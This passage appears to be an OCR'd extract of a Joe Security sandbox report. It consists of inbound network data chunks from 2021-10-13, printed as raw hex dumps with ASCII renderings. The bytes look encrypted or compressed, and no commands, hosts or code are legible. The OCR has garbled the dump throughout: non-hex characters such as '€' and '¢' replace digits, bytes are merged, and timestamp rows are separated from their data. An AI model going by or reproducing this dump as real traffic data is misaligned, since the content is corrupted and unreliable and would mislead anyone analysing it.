c549 c4 17 4e 81 b5 Ob ea 87 01 e2 e3 d9 38 78 d5 b4 dc af f4 d3 7a da 1a cd 07 dc 78 80 ab 95 12 4c a8 e2 b1 26 7f d8
26 5d fa a3 51 02 cb bd 86 2a 0a 30 dO €9 d1 41 9b bd c1 07 d2 d5 9f 1b 6d 15 ef 45 2e 91 6a 8f 72 31 f6 b6 ff c4 €7 95 3b
ed 31 b3 a8 f3 b4 e4 40 20 4d 6b 8b a9 f2 c2 6b
Data Ascii: "]M'Z'Q}|O/TIfOLs-x0gnkljg bR="KgAm"5#(Tu]Jp.$]o&f@NNi,k5IN8xzXL&&]Q*0AME.jr1;1@ Mkk

2021-10-13 11:06:38 UTC 102 IN Data Raw: 10 9a 67 12 6a 2c 28 b5 e4 7c 13 b9 94 bf 8f 3a 68 99 8f ad 20 08 bf aa 80 4c f9 56 44 8b 36 d5 el 23 12 6d ae
bc 11 52 9e 5b 81 06 fb 4b 72 39 el 6b 34 01 73 37 2a 89 3d 86 d9 37 62 78 bf aa c0 4c c8 14 a9 7b 58 2c de 68 35 97 a8
3d 69 f0 f9 6f 28 85 9c a3 46 cd 31 d3 90 77 de 3a 16 67 50 d4 d9 78 e9 77 al 87 8d 51 39 f0 e2 ac 10 ac 8b b0 44 78 ec
bb 05 74 1d 6b 95 15 d7 ed 88 6f 82 3c 95 de 2b 50 2e fc 6¢ f3 23 04 05 d0 93 45 97 O fe bc e0 cd f1 37 ce c4 06 60 5¢c d2
C7 e7 6b 02 58 1a c8 ae 18 d0 ea f6 b6 €5 ab ed a6 20 50 99 57 a8 84 da 9d 51 94 a8 b9 05 5¢ 6f 22 63 65 3e ae 05 a9 1b
7d 6f 19 64 86 90 3f 32 86 c0 aa e5 37 6¢ c2 ea 11 3a 26 22 5¢ b6 9¢ 32 11 9e 53 07 a6 91 22 16 9d ad 60 e2 00 82 9f 9e
22 0f9e d4 c7 b4 87 a3 a7 06 7c 1b 17 50 ca d5 e7
Data Ascii: gj,(|:h LVD6#mR[Krok4s7*=7bxL{X,h5=io(F1w:gPxwQ9Dxtko<+P.I#E7 \kX PWQ\0"ce>}od?271:&"\2S"™"|P
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kBytes
Timestamp transferred Direction Data

2021-10-13 11:06:38 UTC 103 IN Data Raw: b6 ca c4 c8 c6 fO 76 58 02 6¢ d9 7c 3d el f8 e2 67 fb 33 c1 84 a5 b5 bf 39 35 a9 da 72 03 91 35 d2 3f f8 45 36
6d a7 fe a6 83 9a 08 db 56 f1 81 06 5f bf e8 7d 61 cf 18 8e d4 8¢ d9 29 73 8f dc c2 83 b2 86 97 50 8b 88 7b 4f fe 3a eb dO
06 9b b4 4d 6a 4f 85 db a3 ed ff 67 4f ac bc 2b 0b 12 07 41 9b b8 29 bf 07 57 ef b8 5d df 19 c2 e7 4c 85 d6 9d 7e 36 6d 0d
a4 06 27 de 78 4c 04 7f b4 80 3a 71 2f 65 ac cf 20 96 99 6¢ 4b 93 bb c¢1 62 80 3d 4c 09 e7 a7 2c Ob 10 2f b5 b8 68 96 d8
a0 4f 11 6d a6 f1 ed 52 88 {7 31 bd b4 b5 23 b5 93 7a 54 95 b4 75 bc 5e 85 c1 90 98 6d 6d 3e ef 19 2e 22 78 1f 08 4e Oa
94 7c f5 9b e3 fb 08 4c ac d6 f5 dc 8a 4a Oe 8d 00 41 al 44 9b ef 41 75 13 5¢ cb 4b 49 {7 fc ¢8 d4 39 69 43 af 4a e8 12 5f
fc 90 37 f8 85 2f 18 7c db 32 61 ca a4 c9 aa
Data Ascii: vXI|=g395r5?E6mV_}a)sP{O:MjOgO+A)W]L~6m'xL:g/e IKb=L,/hOmR1#zTumm>."xN|LJADAU\KIQICJ_7/|2a

2021-10-13 11:06:38 UTC 104 IN Data Raw: 4b f0 d9 17 c7 00 c1 e6 02 75 b5 5f d5 83 a7 2c b9 35 04 52 a7 9a le 17 al ed ed 23 bf Ob 9f cO ba 04 22 24 df
c3 c8 ad ec 65 86 56 46 d9 f2 7f 92 fc €9 66 2f a6 f5 10 12 ce cf 7e b8 4f 44 41 90 23 6e Oc 1d 76 76 8e 2a 87 3b 24 89 10
9a 67 34 a8 3f 20 b5 ec 67 Oa af 7b b8 bc 38 95 ¢8 d8 96 23 73 b5 b5 c0 01 06 aa c0 8f 20 c6 ed 4c d1 64 b1 ad c7 c9 b0
51 83 7f 4b 24 db 33 fe 79 38 1d 60 20 22 87 32 67 c9 e5 71 56 d8 a6 ba 42 cd 03 ba Ob b2 Oe df 62 3d a0 38 2c 61 fa fe
7d 5fd2 9d 8f 42 f2 23 80 96 77 42 17 09 6d af df ec 64 e2 Oc 95 8e 94 ab 01 03 e4 ba 03 b6 9a b0 4a 78 ec b5 05 69 1d
6b 95 Oe d6 c6 93 13 a2 39 83 f2 ad 59 3d fe 7a fa 44 bb fb d1 b5 59 98 O fO bc €0 c3 f1 05 ce c4 06 78 75 ac f1 5¢ 97 f9
al be 7f Ob 00 4a e8 8a bc f3 b3 62 0f 20 41 85
Data Ascii: Ku_,5R#"$eVFf/~ODA#nvv*;$g4? g{8#s LdQK$3y8" "2gqVBb=8,a} B#wBmdJxik9Y=zDYxu\Jb A

2021-10-13 11:06:38 UTC 105 IN Data Raw: c0 f4 a0 42 72 96 a3 99 50 28 ed 0f 16 48 6¢ c0 9d de 25 fd b0 1c 66 81 b7 77 ef 85 b7 46 84 58 54 47 f7 2b 74
fb fc 58 7b a7 2f a0 85 dc ad 55 45 53 80 d8 7f 6a 36 6e cd 19 88 6d 88 ff 83 3f aa 76 21 15 2f 8a 76 7e d7 70 55 68 7 b6
d1 d3 dd c6 0a 77 65 09 70 cb 9c ea e5 67 e2 1c ff 21 c7 9f b6 b0 b0 b7 93 ce 6¢ 7c fd 9a 06 d8 29 87 59 26 69 bc e5 36
c2 93 dc 26 d2 e0 8f 15 53 a5 74 5e 7f 31 18 af d2 99 ce 67 39 ae 40 df ¢8 24 9¢c 8b 53 1e 92 6a 52 73 3b €2 c0 97 33 98
4171 54 9d 88 05 ed ee 63 4e 59 ae Of 1c 01 74 50 8c 46 2c 85 22 dc e8 a7 4f 89 2a ac 4e 4c 9a cb 91 7f 25 78 05 aa 16
€4 21557010 75 d0 84 ed 59 a0 78 81 ed aa 91 86 73 4e 83 d4 79 6a 9f 38 ac 1b cf b3 38 Oc 07 3b 5f 6f 6¢ 84 db db 4b
6d 71 a3 f3 92 41 99 e4 3d d2 2c bf 3c aa 07 79 03
Data Ascii: BrP(HI%fwFXTG+tX{/UESjenm?v!/v~pUhwepg!l|) Y&i6&St*"1g9@$SjRs;3AqTCcNYPF,"O*NL%x!UpuYxsNyj
88;_olKmgA=,<y

2021-10-13 11:06:38 UTC 107 IN Data Raw: bd 23 5a 79 f8 23 b7 49 52 75 a4 €9 0d 6b bf 13 6b dc 48 da 40 e8 69 84 Ob f5 Oe db e2 1e 5c 68 04 a9 b5 aa
40 d7 b8 eb 74 45 32 50 5a 5¢ f2 e2 4b e7 a8 91 81 8d 3f f7 04 f6 28 2c f1 5f 29 ab Oe 7a df bd cO ca 8e ae 3c 3b cd 19 60
4b e7 8f 91 57 02 c1 f3 38 64 c6 51 c5 8b bc 23 3¢ 24 29 59 a4 9a 31 Oe €9 7d 49 3c bl 12 b1 c2 d0 02 3c 34 25 cb f2 cb
44 fb 78 a3 9f d1 e9 b2 b8 fe 83 60 31 bc Of 7e b8 d6 cc 24 ac 5e 77 28 6e d8 fe 54 13 5e 4b 87 f0 35 7d 61 95 11 90 bd
2b a5 06 2e 9f bc 73 15 b9 85 b9 90 29 84 98 a3 8f 94 72 b1 ab 48 49 fb 55 33 90 37 d5 ff 4c c0 6d bd 8a 3b c8 b4 5b 8b
10 e9 24 db 28 f7 6a 00 Oe 60 36 3d 66 3a b5 ca d1 68 54 a4 be 45 43 e5 16 ba 73 23 0b ¢7 96 30 93 30 14 6b d1 Oc 77
3c 36 9d a3 48 f8 59 c2 be 60 cf 3c 03 6f bl cf dd cc ea
Data Ascii: #Zy#IRUKkH@\h@tE2PZ\K?(,_)z<;' KW8dQ#<$)Y1}<<4%Dx 1~$"W(nT K5}a+.s)rHIU37Lm;[$(j 6=F.hT
ECs#00kw<6HY <o

2021-10-13 11:06:38 UTC 108 IN Data Raw: 80 99 35 a9 22 b7 f5 ff f9 03 f9 90 Oa 1f f5 f5 33 83 57 1d 64 €0 82 6b 26 €9 d8 79 45 99 d5 f6 9d 4c f9 89 54 75
a4 8b bd de 59 47 83 24 76 3d ff 44 4e 42 8f 10 ca c7 ca 7e 45 3a c0 87 b5 0d 76 1d 20 bf b2 20 06 f9 e4 e6 d1 e2 34 4f f6
a6 5f f5 8¢ b0 91 51 2a el 01 05 a0 45 1c 80 db 20 57 be 14 a4 bd 98 5e 4c 8f 9f e4 ae ea 5e 3a dc 06 76 d4 db 47 7c 87
c2 b5 8d c1 45 d9 6e 58 83 d1 43 5 20 46 64 12 94 74 94 d7 63 33 b0 8e 36 b4 20 b2 47 7e c3 64 5a 53 5¢ b6 cO d1 ea
64 f4 76 43 2e c1 ¢3 82 36 f7 82 1f €3 0a 35 d5 a8 50 a7 b8 b1 94 4b 74 72 03 9a 3e dd 38 d4 e6 27 69 b2 d8 02 82 b6 29
d3 f3 ef a5 2e 6¢ a5 65 5¢ 6¢ d9 13 ab e5 9a ¢6 73 31 86 cd 7 c8 2e 8f ce 50 17 81 62 52 62 33 fd ca 69 32 47 4c 60 50
79 c9 a7 ed fe 6351 52 a7 07 1c 11 67 7f 9f b8 a9
Data Ascii: 5"3Wdk&yELTuYG$v=DNB~E:v 40_Q*E WALM:.VG|EnXC Fdtc36 G~dZS\dvC.65PKtr>8').le\ls1.PbRb3i
2GL PycQRg

2021-10-13 11:06:38 UTC 109 IN Data Raw: 90 9b 52 cb 01 8f ea de 28 9b 94 e4 82 79 56 3c al 1b 70 bc 19 4c ff d9 64 0f da a8 fb 00 Of 4b cb 87 86 45 8a
b2 66 Ob 26 d1 9b 72 83 13 ¢5 43 08 83 2d c3 e5 33 f4 bc d2 7e 14 9b 29 eb c4 a5 8f 3 8c ff 2f 77 41 6b 81 75 f0 92 04 bd
2b 57 68 fd 76 b1 c5 aa 5f a5 e8 25 36 bf 13 61 ¢8 33 d4 41 e8 6d eb 90 5 Oe d1 6e 04 5d 68 05 a7 9d 36 41 74 b3 c7 70
5f 38 8e 29 5e e3 ea 36 f4 a9 91 85 36 2f f3 13 06 f2 9b e6 da a6 80 Oe 6¢ de cO dO cb 8e aa 3e 5b f3 11 60 ba ec 99 fe 2b
00 c1 e8 00 eb 96 5f c4 8a ab 28 34 8c 28 59 aa 9f 26 1b 58 06 3a b8 b3 18 91 d7 26 Ob 3d 34 20 d1 ea b5 da ef 69 a0 1b
d7 ed 7f 95 ed f7 7a 24 ab 86 3e 3e d4 cd 3d aa 25 5a 56 87 bb 10 9a 08 5e db 87 f0 35 73 48 85 07 Oa 4f 34 a2 23 3e 2f
d5 7e 15 b9 8f 69 82 29 96 83 8b 9b 22 73 bb 83
Data Ascii: R(yV<pLdKEf&rC-3~)/wAku+Whv_%6a3Amn]h6Atp_8)"66/I>["+_(4(Y&X:&=4 iz$>>=%ZV"5sHO4#>/~i)"s

2021-10-13 11:06:38 UTC 111 IN Data Raw: 48 b3 97 dc 9d 40 92 b7 ad fb 3a 24 38 74 04 30 af 04 b6 2c f0 d8 03 4c 1f 92 d1 38 90 c9 ed 4b 32 6c ce 86 bf
2b 20 28 41 b8 €8 70 12 b2 50 74 cd 03 22 12 9b ba 7a 8b 63 93 99 8b 23 f7 b4 a0 f4 b0 93 c9 a6 06 72 6d 56 2b d6 d5 f4
8e 99 5f 12 ce b3 ff 96 6 8f fe 9a 26 32 f0 e5 Of 9¢ 7a ba 62 8f 48 4f 0d b9 f7 df 6d 74 db da 89 4b 70 a6 5d 70 a5 99 c6 Oa
73 e4 89 4b 69 29 d7 a0 41 53 8d 69 86 c2 ca 74 43 06 31 90 9d a8 08 8e 2a 97 a9 4f 7e f3 e8 e4 ce db dd 24 90 a0 48 72
a6 2f 4f 5¢ 28 e3 3c 06 a7 6b 83 d3 db 26 ff 73 17 ba 77 99 53 c7 b8 9f ee 8¢ 4b 5b 12 dc 2f 74 f9 e9 68 50 af 2f bb 53 c7
55 7e 68 44 83 d0 55 el 2c 6e aa 97 94 72 80 ff 92 37 b0 88 20 39 b2 27 47 6a cd 70 4e 7a e4 86 c8 db 78 d5 f4 76 a6 06
73 d2 aa 37 c8 ec e6 08 dd fO c3 80 a8 8b a9
Data Ascii: H@:$8t0,L8K2l+ (ApPt"zc#rmV+_&2zbHOmtKp]psKi)ASitC1*O~$Hr/O\(<k&swSK[/thP/SU~hDU,nr7 9'G
jpNzxvs7

2021-10-13 11:06:38 UTC 112 IN Data Raw: 84 b3 5d aa 89 ad 57 ba cf 65 7b 26 a8 9e 2c 22 74 6f 7c 5d Oe 9e 60 f3 82 80 cf Ob 60 b1 cb 82 c8 9c 25 fe 8f
28 db b5 6¢ 84 8 5f 10 b6 5b e3 50 53 fa €9 a3 cd 29 6d 50 68 fc c5 1d 5d af 8¢ 33 f8 87 24 7e c9 ca 37 6b d6 d8 d4 ab
9b 4f 54 d6 19 c8 39 db 28 97 86 b9 7d 86 a3 ef b5 Oc Oe 03 20 4c f5 ¢7 70 19 dd d6 7a 3a Of 4d e2 fa d0 45 80 90 ed 21
d3 d3 b3 5a ab 14 e9 2c 70 83 6¢ ad cd 06 f4 bc d8 6d 3e 8c 3a e3 7 f4 8e f3 b4 ee 28 75 36 5¢ 80 75 f4 fd cf bf 29 5d b2
e5 ea a6 1f bd a3 29 fd 25 58 bf 00 68 c8 22 d3 43 93 5a ea 90 f3 61 1a 6¢ 8f 56 b2 1d 67 8a ec 52 c6 al cd 5b 6b 29 87
3854 el ec 59 3c ab 91 8f 87 3f fb cb 84 24 8a ec 91 7c 56 16 6d b1 34 d1 cb 88 82 2c 41 c3 12 48 18 ec 99 f8 ef 2e c3 f9
18 09 c5 5f c4 81 1a 30 4d 23 fe 4a aa 9d 2a 1b
Data Ascii: We{&,"to|]"%(l_[PS)mPh]3$~7kOT9(} Lpz:ME!Z,pIm>:(u6\u)])%Xh"CZalVgR[k)8TY<?$|Vm4,AH._OM#J*

2021-10-13 11:06:38 UTC 113 IN Data Raw: 13 90 95 86 55 11 24 fd bd ee b2 ac b0 41 71 ea 6b 8b 74 39 7d 6f 8f fe 96 86 6f 8e 27 91 e5 b9 52 3f fd 65 ca
b2 ac 29 dd 9a d4 38 ea e0 6a 2b d8 ea 3e 12 d6 21 7a 4f a2 d6 d2 95 07 72 b2 76 Of €6 4e 87 Oa bd f3 b5 85 60 dc 51 93
4e d0 46 de 9d 4a 85 6d c2 29 5f 43 32 Oe e4 31 af 03 7b 11 ec ed bc 47 1f 83 34 27 b2 26 c4 60 3e 54 f0 Ob fb d6 3f 01 5e
bb 87 dd 1b ad 56 87 b2 bc 2b 2a 92 b3 73 e4 1f 9e 8a 8a 30 e0 94 e7 cf 48 fd 81 aa 17 7f 03 7b d2 d7 d4 el 95 b5 32 8a
ce a2 fe e6 ff 70 ff bc 1b 19 8e 1d 26 94 79 ab 61 8f 58 4f 0d b9 cO 7c 7e 7f d1 e7 90 45 6a 70 55 59 b4 98 c6 36 70 e4 85
35 7a 46 07 a8 4a 48 96 19 54 cb ca 6f 4f 31 f3 6d 9c 82 7f 25 b8 94 a3 20 19 db fb €5 c5 db d0 51 08 al 64 70 b3 4f 91 50
39 fe 03 0a b6 7c e7 98 25 27 d9 a7 13 b9 38
Data Ascii: UsAgkt9}o0'R?€)8j+>1z0rvN ' QNFJIm)_C21{G4'& >T?"V+*sOH{2p&yaXO|~EjpUY6p5zFJHToO1m% QdpOP9|
%'8
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kBytes
Timestamp transferred

2021-10-13 11:06:38 UTC 114

2021-10-13 11:06:38 UTC 115

2021-10-13 11:06:38 UTC 116

2021-10-13 11:06:38 UTC 118

2021-10-13 11:06:38 UTC 119

2021-10-13 11:06:38 UTC 120

2021-10-13 11:06:38 UTC 121

2021-10-13 11:06:38 UTC 123

2021-10-13 11:06:38 UTC 124

Copyright Joe Security LLC 2021

Direction

IN

Data

Data Raw: 75 ad 8b 4f fO 5f 12 14 2a 82 00 88 c9 b8 07 3d 25 2a d5 1a a5 8 fa 60 ba b2 c6 f2 67 85 f1 06 6f 1c b7 78 11
3c d4 ca 3d bf 2b 44 53 9b 27 10 81 00 48 82 86 dc 36 6d 48 6a ee 65 7c 14 a0 27 28 a4 f6 70 2d 47 84 95 9c 38 9e 84 cc
76 23 73 b7 b4 b9 5b f0 55 2e 9b 28 94 1b 4d ec 4e a9 d5 c5 ¢9 9c 5d 8¢ 7f 1d 25 db 3f 8e b0 29 15 6a 26 fO f7 €9 9b c8
c3 6b 3b 5c a9 bb 44 d6 56 be 73 23 1d d4 77 07 41 33 13 65 eb €5 69 07 2d 9d a3 4c cd 14 d3 9d 77 de 37 16 40 50 d4
d9 64 e9 05 93 50 1c 42 da 38 34 21 3b b3 80 a2 4e 67 d3 ae 11 63 f2 61 a6 2e 2b 97 aa 7f 85 57 7f {7 b2 54 3f f1 15 3b
4e ad Of cf b4 49 84 e3 e9 b7 ee eb 10 20 1c dO 23 62 88 aa O f1 bd 97 88 97 f1 af Oe 80 15 09 43 ec 92 91 04 20 41 98
57 82 69 dd bl 4d 91 39 1a f2 45 95 e2 72 1a 2f 91 16 a6

Data Ascii: uO_*=%*gox<=+DS'H6mHje|'(p-G8v#s[U.(MN]%?)j&k;\DVs#wA3ei-Lw7 @PdPB84!;Ngca.+WT?;NI #bC A
WiM9Er/

Data Raw: f4 af 1a dc 8a 8c 76 ef 8f 9f ee a6 18 05 12 47 2a 74 f5 54 3d 2b ae 2f b5 8f ¢5 28 17 68 58 87 c7 8d f6 e2 e3 ec
1294 7f fd ba 93 37 b4 a2 20 39 27 al 77 7ad7 f2 4f 7b ff41 cO db d3 c3 €7 73 71 6a 72 c3 82 3c dc €9 7 e2 f4 1e c2 98
b1 a6 b8 a6 87 d9 79 8¢ 02 a2 bd c9 2c fc 47 5¢ 2¢ b9 f0 5¢ 80 cd 65 d8 2d fb 88 10 5d 8d 50 57 61 c¢5 1b 81 al dd c7 79
eb 90 e3 d7 c8 2e a4 f2 0a 16 81 66 5b 64 e5 f0 f2 42 33 b4 4d 63 59 50 db a3 ef ec 74 3e 54 bf 07 1a 6d 39 4e 9a bc 3¢
ad 2d b6 ae b9 57 cd 32 8f 4c 37 c0 dd 82 73 33 61 04 b7 79 79 21 79 64 3b 48 ce 8e 31 78 29 01 c2 e6 b9 90 4f 6b 65 66
d4 68 62 82 4c 17 1b e3 a3 2b 07 06 35 4f 91 71 be da d1 43 01 69 df b5 97 5e 8d f5 37 a9 7e b6 23 bb 84 3f 2e 84 bl 7d
92 97 a6 4e 97 98 76 7e 3a 7e b1 02 33 70 7b 43

Data Ascii: vG*tT=+/(hX7 9'wzO{Asqjr<y,G\ \e-]PWay.f[dB3McYPt>Tm9IN<-W2L7s3ayy!yd;H1x)OkefhbL+50qCi"7

~#? INv~:~3p{C

Data Raw: cb 59 16 6¢ c¢7 9d e6 Oa c0 67 b1 ba 68 05 bf 82 2f 52 da b2 d6 7d 4c 2b 70 28 72 ee fb 3e el 39 a8 3f 8f 2e {3
Oc 88 €1 96 e6 98 a9 99 fO 7b f2 de d2 b0 c7 ab 3e 44 d5 11 14 ce ee 99 ff d1 02 ba b0 1f 66 b9 d1 73 a3 8d 20 47 3e 32
4a ad 8c 31 07 41 0b ec 3d 9d 08 95 bb ef 0d 3d 30 34 82 35 a5 d4 f9 67 b3 aa cb €3 7d 97 3 f5 90 31 90 01 00 3b c3 1a
3d bf 2b 44 53 9d 27 10 87 04 88 7d ab a3 3d 2e 11 94 11 9e 77 03 a9 2f 28 b3 ea e2 12 b9 85 b8 83 2f 87 9e b5 86 Oa 62
bl ab 8a ea ea 53 2c 97 26 d2 f1 58 d7 el 81 ba 39 c9 8f 53 9a 18 7 33 47 28 €9 49 88 15 60 3b 3b 90 2d 09 e4 c3 72 53
b5 32 93 53 ¢9 14 a7 75 Ob 1d df 68 3b b3 2e 2c 64 fa fe 78 58 39 62 a2 60 df 32 c8 8e e7 f6 8e {7 92 51 ca e3 64 e7 Oc 9
8b 92 5¢ fe 2e ce 9d 12 c¢8 c8 a2 42 7c f5 c9 08 63

Data Ascii: YIgh/R}L+p(r>9?.{>Dfs G>2J1A==045g}1;=+DS"}=.w/(/bS,&X9S3G(I';;-rS2Suh;.,dxX9b"2Qd\.B|c

Data Raw: bf 64 47 88 4d 0d 48 df 6d 7c 62 c2 f3 b0 19 74 9f 51 6¢ 5b 9e 85 cf 65 ce 99 37 79 29 c6 af 52 bc 88 2a 49 c2
a5 b7 44 2e de 8b c0 b8 58 38 33 84 a6 20 17 f6 ff 10 c4 e6 d8 53 e5 a5 48 69 8e a6 6f 51 15 €6 07 12 b3 6d fd 81 c1 d8
4 83 12 9b ab a7 cd ed e0 56 ee 86 52 32 19 d6 2a 74 ff e3 40 68 ef 74 92 8d c7 53 54 69 58 73 ef Oe c9 a5 6e c7 18 23
69 56 72 b9 37 b0 89 2b 2f 20 3c f0 68 0d 63 4a 76 d4 94 c2 d2 da 0d ec 19 a6 06 73 c9 8e 3b c4 e4 c0 1f 7 32 c1 a8 40
al b8 bd aa 25 71 72 09 07 23 de fa f1 4c 36 6d 89 29 5f a8 b6 30 €9 2e ff 3f 06 5b a5 99 56 61 de 0f 90 d8 a2 6d 79 ef 86
cb cccd 35 71 8e 60 12 aa 07 4e 71 36 fd db 6¢ 2a 4a 4c 4c 59 f9 71 a7 ed e4 68 48 41 b8 07 0d 15 62 b1 9b 94 25 a0 38
1b e0 a7 5e da 06 ad 5f 49 9c 22 83 5b 23 6b 1e bl

Data Ascii: dGMHm|btQl[e7y)R*ID.X83 SHioQmVR2*t@htSTiXsn#iVr7+/ <hclvs;2@%qr#L6m)_0.?[Vamy5q Ng6I*JL
LYghHAb%8"_I"[#k

Data Raw: cf 4d c6 fe d8 4e 6¢ 53 b9 8e 31 04 5a ce e0 be b2 8b b8 bc 2e c2 d2 8f 5¢ 46 10 ef 45 1f Oe 6b a7 e5 32 e5 a2
c3 60 2f b3 Oc ee cf a3 2d e2 aa eb 3b 63 65 c8 81 75 fa 83 03 a9 01 b8 6¢ fd 34 a6 48 ad 75 a4 €9 36 47 af Oc 77 6 15 d1
41 ee cf fa 8f e3 1a c¢5 46 2c 5¢ 68 0f 97 a0 34 41 dd 9a 75 70 53 32 b7 e4 5f e3 ea 3f e2 81 52 86 8f 28 e4 9e 9b f2 9b 7
9a 84 91 2e 6¢ c8 4c ef chb 8e ab 9¢c 51 e3 Oc 74 5b ¢6 3a fe ¢7 0a d5 d1 dd 65 bd 59 d3 06 bf 21 47 35 3b 78 b1 ad 36 1c
d2 2d 12 3c b0 ba 86 el bf 18 29 1c 82 c2 e4 ae c0 d1 bb aa b9 c0 f4 el 9d fc f8 6f 23 9e 1a 33 28 ¢3 40 11 ba 34 4b e2
81 05 15 9e Ob 5e df 87 f0 35 41 71 56 12 9a 65 3c 3e 2b 28 b5 fc 7c 36 a8 a6 af 86 a5 a9 98 a3 8e 80 62 92 bf 94 5¢ d3 f6
3f90 3d c1 cd 88 c3 6¢ a8 ac b4 cf 9c 5b 8a

Data Ascii: MNIS1Z.\FEK2'/-;ceul4dHU6GWAF,\h4AupS2_?R(.ILQt[:eY!G5;x6-<)o#3(@4K" 5AqVe<>+(|6b\?=I[

Data Raw: 1c f7 d2 72 ba 1d 92 3f 1d b8 ef c5 4c 3d 7f da el Oe 01 18 22 4d ba 5a 2e 12 b2 5a 7b 9b b7 27 12 97 99 57
€400 99 b1 b0 30 f1 95 c1 2c b4 fc ad b0 8b 53 19 14 2a c5 cf e5 a2 b9 24 81 ¢8 9b d1 f9 ef 84 8d 63 Ob 1le e7 f2 33 85 6b
d5 95 e1 88 4b 62 55 dd 6d 67 67 f4 ce 95 5b 74 8e 46 50 8d 78 ab ca 7b 68 a9 24 7c 32 c4 b6 5b 5e 9d 2e 6f c4 ca 78 52
a3 d3 93 9d af 62 09 3e bf 00 20 06 f9 c0 ¢6 c0 ca dd 5d de 48 4a 78 81 al 8d 44 11 cd 14 01 b0 7b 61 83 db 26 f4 bb 04
a4 81 2f 76 ef 85 b7 ¢7 83 58 58 2c fe c2 76 ff €9 68 81 ad 2f bb 9c db 47 7c 41 5¢ 83 d6 41 6¢ 33 6e c7 13 80 6a 94 d7 31
37 b0 82 08 13 22 b2 41 69 ff 98 4c 7b f5 9e 29 d9 c2 df dc c4 49 06 79 ef 9f 2d d1 8 c8 9b 6 32 c7 96 2f a4 b8 b7 83 d2
67 66 2b 38 2a ¢9 26 d4 d9 27 69 b2 e3 42 93 aa

Data Ascii: r?L="MZ.Z{'W0,S*$c3kKbUmgg[tFPx{h$|2[".0xRb> JHIXD{a&/XX,vh/G|A\AI3nj17"AiL{)ly-2/gf+8*&'iB

Data Raw: d5 Of 94 67 9e 0d ee 05 03 6d a4 c2 9d c5 8b 5b 1d 91 32 23 a2 68 bf €8 4d 75 46 5d cb 47 40 95 3d ce d4 22
02 a6 50 4b c2 0a 32 55 9c 36 12 ee d5 76 el df 25 04 02 b5 cd a0 f4 bb 79 da 16 f3 3e c1 33 82 b9 9d 6¢ 91 b6 c8 49 Ob
4d c6 33 58 ee cd c6 b4 f4 78 8c 3b Of 54 el fb c6 45 9b af a5 02 2d d4 b7 7f da 36 ed 43 Oe 90 7c b8 ¢7 20 el bc c3 69 26
83 d7 ea e3 af 86 ca 27 01 d0 88 52 72 92 62 f0 83 13 a5 d7 56 44 f4 41 0b c5 aa 7f ae f1 36 4f be 02 76 c1 25 2a 40 c4 62
€3 b8 78 0f d1 64 b5 36 96 fa 40 82 21 52 c0 b2 d6 67 4c 1c 70 28 72 ff fb 26 e7 a2 b9 a8 8a 2e f5 3b b2 f0 9b €0 al 48 82
0e 70 b1 €6 d2 ch 88 b5 1b 53 d4 18 71 58 f1 87 00 c6 2c ef e8 13 09 41 5e c4 8d ae 4e 95 36 28 53 cf 70 21 0a 58 05 7d
ee b3 18 9d af 57 0d 3d 32 36 ad 36 a6 d4 f3 17

Data Ascii: gm[2#hMuF]G@="PK2U6v%y>3lIM3Xx; TE-6C| i& RrbVDAGOVY%* @bxd6 @ !RgLp(r&.;HpSaX,AXN6(Sp!X}W=26
6

Data Raw: e2 6a bf 14 ba 44 84 6e 88 57 7f f7 b2 54 36 99 a8 e9 4c a7 6a 2e 98 5a 89 f0 f6 ad ff b5 a2 20 30 c1 3b 75 76
b5 cb e6 6d 15 55 e7 5d 1a 30 4f fb €6 ad e3 bb ed 27 22 50 95 59 af 86 d0 b5 6d 97 b7 ab d3 73 41 38 67 36 dc ad 05 a7
73 d7 da af 4a Oe 82 2e 33 b8 f5 c0 4c 31 44 e6 7 04 2f 08 ce 4f b0 8d a3 36 b0 5a 7f a2 80 21 7d bb b3 73 e2 06 82 89
ee 26 f0 9f f2 3b b9 d9 85 91 06 78 13 07 3f fe ec 7 8a 94 ff 81 df b9 e2 2f fc 84 ef 9a 1b 09 df 94 d9 6b 80 ab 71 f7 5e 5e
18 a2 ca 7c 7b fa 66 c9 70 a7 8b 71 52 5f a5 de 9d ca 71 e4 83 24 7c 7a d7 aa 4a 49 89 06 47 9e ca 7e 44 3c d4 93 9d b4
76 1d 2b 97 a3 20 06 6e e8 ee c5 a7 da 4b f6 aa 4a 78 8b bf 91 50 39 ff 10 01 b7 76 dc 8d db 7c f4 af 10 b5 a8 8c 67 ed
85 9d f8 9 b9 5f 3a dc 35 2b cc eb 42 7f c0 27

Data Ascii: jDnWT6L].Z 0;uvmU]00"PYmsA8g6sJ.3L1D/06Z!}s&;x?/kg [{fpaR_q$|zJIG~D<v+ nKIxP9v|g_:5+B'

Data Raw: 02 3b 7a 7b 9e 06 31 cf 8e 39 73 28 07 fa e6 b9 90 9b 62 20 f7 d5 68 66 aa 37 41 2a e7 a7 d7 Of Of 24 43 b8 44
ae d8 25 54 5d 6d a2 f1 94 20 bc f7 35 d6 40 c9 22 bf fd 7a ff c9 b5 75 ba a0 b9 5d 92 92 4f 7b 21 80 ba 53 5f 73 00 00 5e
la 6a 6¢c e7 7a ee Of Of 4c 96 d6 8d 5c 3¢ 37 8a 8f 28 d9 al 46 ea 79 5e 1a be 74 93 43 56 f0 92 b3 d5 28 69 59 47 49 bf
62 5¢ 87 9a 34 83 01 28 77 e5 f1 df 69 dO bd c9 be 65 44 6e 24 11 eb 2a f2 05 93 aa 13 ca fb 2b €3 b7 Oe 63 cb 59 ce fe
d8 4c 2b 93 bb 8e 31 72 ca cb 8 d5 41 9c ba c1 a2 d2 d5 9f 76 d2 96 ee 43 Oc ab 81 a5 e5 39 f3 a8 2c 7f 2f 65 28 e7 c7
89 ¢c8f1 bl 7198 0a c9 6a 81 71 f2 90 7f 39 28 57 6¢ d5 6a b3 c5 a0 08 27 €9 25 5¢ bb 05 63 a5 b0 d5 41 ec 6f 90 14 f6
Oe d5 46 62 5e 68 Of bd 98 b8 f6 aa 34 c6 70 57 3a

Data Ascii: ;z{19s(b hf7A*$CD%T]m 5@"zu]O{!S_s"jlzL\<7(FyMCV(iYGlb\4(wieDn$*+cYL+1rAvC9,/e(qjq9(WIj%\cAoFb”h
4pW:
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kBytes
Timestamp transferred Direction Data

2021-10-13 11:06:38 UTC 125 IN Data Raw: Oa fe Oc c1 11 cc 63 2b 13 4a 67 54 01 3a 99 cc d2 f9 71 8e a2 9d 59 d6 38 b7 50 Oe Oe df 6e 1b e5 4c a6 68 fa
